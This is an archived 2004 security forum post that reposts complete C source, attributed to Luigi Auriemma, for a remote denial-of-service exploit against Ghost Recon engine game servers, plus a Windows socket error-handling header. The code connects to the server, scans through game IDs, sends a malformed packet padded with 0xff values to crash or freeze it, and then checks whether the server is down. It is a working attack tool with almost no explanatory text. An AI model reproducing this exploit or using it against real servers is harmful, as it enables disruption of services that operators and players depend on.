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Full Version: Ghost Recon Engine Remote Dos Exploit
GovernmentSecurity.org > The Archives > Exploit Articles
Leonnetje
Feb 26 2004, 09:53 AM
CODE

/*

by Luigi Auriemma

UNIX & WIN VERSION
*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#ifdef WIN32
#include <winsock.h>
#include <malloc.h>
#include "winerr.h"

#define close closesocket
#define ONESEC 1000
#else
#include <unistd.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <arpa/inet.h>
#include <netdb.h>

#define ONESEC 1
#endif




#define VER "0.1"
#define BUFFSZ 2048
#define PORT 2346
#define TWAIT 4
#define WRONG { \
fputs("\nError: Wrong answer from the server\n\n", stdout); \
exit(1); \
}
#define SEND(x) if(send(sd, x, sizeof(x) - 1, 0) < 0) std_err(); \
fputc('.', stdout);
#define RECV if(recv(sd, buff, BUFFSZ, 0) <= 0) { \
close(sd); \
break; \
} \
fputc('.', stdout);

#define S1 "\x42\x06\x00\xbb\x0b\x00\xff\xff\x41"
// |
// game identifier, we scan it sequentially

#define S2 "\x42\x7f\x00\xbd\x0b\x7b\x00\xa1\x00\x01" \
"\xff\xff\xff\xff" /* boom */ \
"myplayer\0\0\0\0\0\0\0\0\0" \
"\xff\xff\xff\xff" /* boom */ \
"IkePlayerInfo Development: 1.5\0" \
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \
"\xff\xff\xff\xff" /* boom */ \
"SystemCrash.DoS\0" \
"\xff\xff\xff\xff" /* boom */ \
"you_are_crashed\0" \
"\xff\xff\xff\xff\x00\x00\x00\x02\x00\x00\x00"




int timeout(int sock);
u_long resolv(char *host);
void std_err(void);





int main(int argc, char *argv[]) {
int sd,
err,
i,
id = 0,
port = PORT;
u_char *buff,
pck1[] = S1,
wait;
struct sockaddr_in peer;


setbuf(stdout, NULL);

fputs("\n"
"Ghost Recon engine remote crash/system freeze "VER"\n"
"by Luigi Auriemma\n"
"e-mail: aluigi@altervista.org\n"
"web: http://aluigi.altervista.org\;n"
"\n", stdout);

if(argc < 2) {
printf("\n"
"Usage: %s [options] <server>\n"
"\n"
"Options:\n"
"-p PORT choose the port of the remote server (%d)\n"
"-i ID this is a number from 0 to 255 to launch the proof-of-concept versus\n"
" a specific game if we already know it:\n"
" - Ghost Recon: 20\n"
" - The sum of all Fears: 14\n"
" By default this tool uses a sequential ID scanner that finds the\n"
" right ID without problems, so use this option only if you want to be\n"
" faster\n"
"\n", argv[0], PORT);
exit(1);
}

#ifdef WIN32
WSADATA wsadata;
WSAStartup(MAKEWORD(1,0), &wsadata);
#endif

argc--;
for(i = 1; i < argc; i++) {
switch(argv[i][1]) {
case 'p': port = atoi(argv[++i]); break;
case 'i': id = atoi(argv[++i]); break;
default: {
printf("\nError: wrong command-line argument (%s)\n", argv[i]);
exit(1);
}
}
}

peer.sin_addr.s_addr = resolv(argv[argc]);
peer.sin_port = htons(port);
peer.sin_family = AF_INET;

buff = malloc(BUFFSZ);
if(!buff) std_err();

printf("\nConnection to %s:%hu\n",
inet_ntoa(peer.sin_addr), port);

if(!id) {
fputs("\n"
"Now I launch an ID scanning (max 255 numbers) trying to make this proof-of-concept compatibles with any game based on the Ghost Recon engine:\n", stdout);
}

for(pck1[5] = id; pck1[5] < 0xff; pck1[5]++) {
printf("\nTrying with ID 0x%02x: ", pck1[5]);

sd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if(sd < 0) std_err();
err = connect(sd, (struct sockaddr *)&peer, sizeof(peer));
if(err < 0) {
if(pck1[5] == (id + 1)) {
fputs("\n- Server is probably crashed\n", stdout);
close(sd);
break;
}
std_err();
}
fputc('.', stdout);

for(i = 1; i <= 3; i++) {
err = timeout(sd);
if(err < 0) {
printf("\n- timeout %d of 3 (server is probably crashed)", i);
continue;
}
break;
}
if(i == 4) { close(sd); break; }

RECV;
if(*buff != 0x42) WRONG;

SEND(pck1);
RECV;
if(*buff != 0x42) WRONG;
if(buff[3] == 0xbf) {
if(id) {
fputs("\n- Server is full or has not accept the request\n", stdout);
exit(1);
}
fputs("\n- Server is full or has not accept the request, continue scanning", stdout);
close(sd);
continue;
}

/* BOOM */
SEND(S2);
fputs("\n\n* BOOM data sent to the server!\n", stdout);
close(sd);

if(id) break;
}

/* double check */
fputs("\n\n- I check if the server is really down or not, wait a moment\n", stdout);
for(wait = TWAIT; wait != 0; wait--) {
printf("%3d\r", wait);
sleep(ONESEC);
}

fputs("\n- connection...", stdout);
sd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if(sd < 0) std_err();
err = connect(sd, (struct sockaddr *)&peer, sizeof(peer));
if(err < 0) fputs("\nThe server is vulnerable!!!\n\n", stdout);
else fputs("\nThe server is NOT vulnerable\n\n", stdout);

close(sd);
return(0);
}





int timeout(int sock) {
struct timeval tout;
fd_set fd_read;
int err;

tout.tv_sec = TWAIT;
tout.tv_usec = 0;
FD_ZERO(&fd_read);
FD_SET(sock, &fd_read);
err = select(sock + 1, &fd_read, NULL, NULL, &tout);
if(err < 0) std_err();
if(!err) return(-1);
return(0);
}





u_long resolv(char *host) {
struct hostent *hp;
u_long host_ip;

host_ip = inet_addr(host);
if(host_ip == INADDR_NONE) {
hp = gethostbyname(host);
if(!hp) {
printf("\nError: Unable to resolve hostname (%s)\n", host);
exit(1);
} else host_ip = *(u_long *)(hp->h_addr);
}
return(host_ip);
}




#ifndef WIN32
void std_err(void) {
perror("\nError");
exit(1);
}
#endif



================================================================================
====================

/*
Header file used for manage errors in Windows
It support socket and errno too
(this header replace the previous sock_errX.h)
*/

#include <string.h>
#include <errno.h>



void std_err(void) {
char *error;

switch(WSAGetLastError()) {
case 10004: error = "Interrupted system call"; break;
case 10009: error = "Bad file number"; break;
case 10013: error = "Permission denied"; break;
case 10014: error = "Bad address"; break;
case 10022: error = "Invalid argument (not bind)"; break;
case 10024: error = "Too many open files"; break;
case 10035: error = "Operation would block"; break;
case 10036: error = "Operation now in progress"; break;
case 10037: error = "Operation already in progress"; break;
case 10038: error = "Socket operation on non-socket"; break;
case 10039: error = "Destination address required"; break;
case 10040: error = "Message too long"; break;
case 10041: error = "Protocol wrong type for socket"; break;
case 10042: error = "Bad protocol option"; break;
case 10043: error = "Protocol not supported"; break;
case 10044: error = "Socket type not supported"; break;
case 10045: error = "Operation not supported on socket"; break;
case 10046: error = "Protocol family not supported"; break;
case 10047: error = "Address family not supported by protocol family"; break;
case 10048: error = "Address already in use"; break;
case 10049: error = "Can't assign requested address"; break;
case 10050: error = "Network is down"; break;
case 10051: error = "Network is unreachable"; break;
case 10052: error = "Net dropped connection or reset"; break;
case 10053: error = "Software caused connection abort"; break;
case 10054: error = "Connection reset by peer"; break;
case 10055: error = "No buffer space available"; break;
case 10056: error = "Socket is already connected"; break;
case 10057: error = "Socket is not connected"; break;
case 10058: error = "Can't send after socket shutdown"; break;
case 10059: error = "Too many references, can't splice"; break;
case 10060: error = "Connection timed out"; break;
case 10061: error = "Connection refused"; break;
case 10062: error = "Too many levels of symbolic links"; break;
case 10063: error = "File name too long"; break;
case 10064: error = "Host is down"; break;
case 10065: error = "No Route to Host"; break;
case 10066: error = "Directory not empty"; break;
case 10067: error = "Too many processes"; break;
case 10068: error = "Too many users"; break;
case 10069: error = "Disc Quota Exceeded"; break;
case 10070: error = "Stale NFS file handle"; break;
case 10091: error = "Network SubSystem is unavailable"; break;
case 10092: error = "WINSOCK DLL Version out of range"; break;
case 10093: error = "Successful WSASTARTUP not yet performed"; break;
case 10071: error = "Too many levels of remote in path"; break;
case 11001: error = "Host not found"; break;
case 11002: error = "Non-Authoritative Host not found"; break;
case 11003: error = "Non-Recoverable errors: FORMERR, REFUSED, NOTIMP"; break;
case 11004: error = "Valid name, no data record of requested type"; break;
default: error = strerror(errno); break;
}
fprintf(stderr, "\nError: %s\n", error);
exit(1);
}
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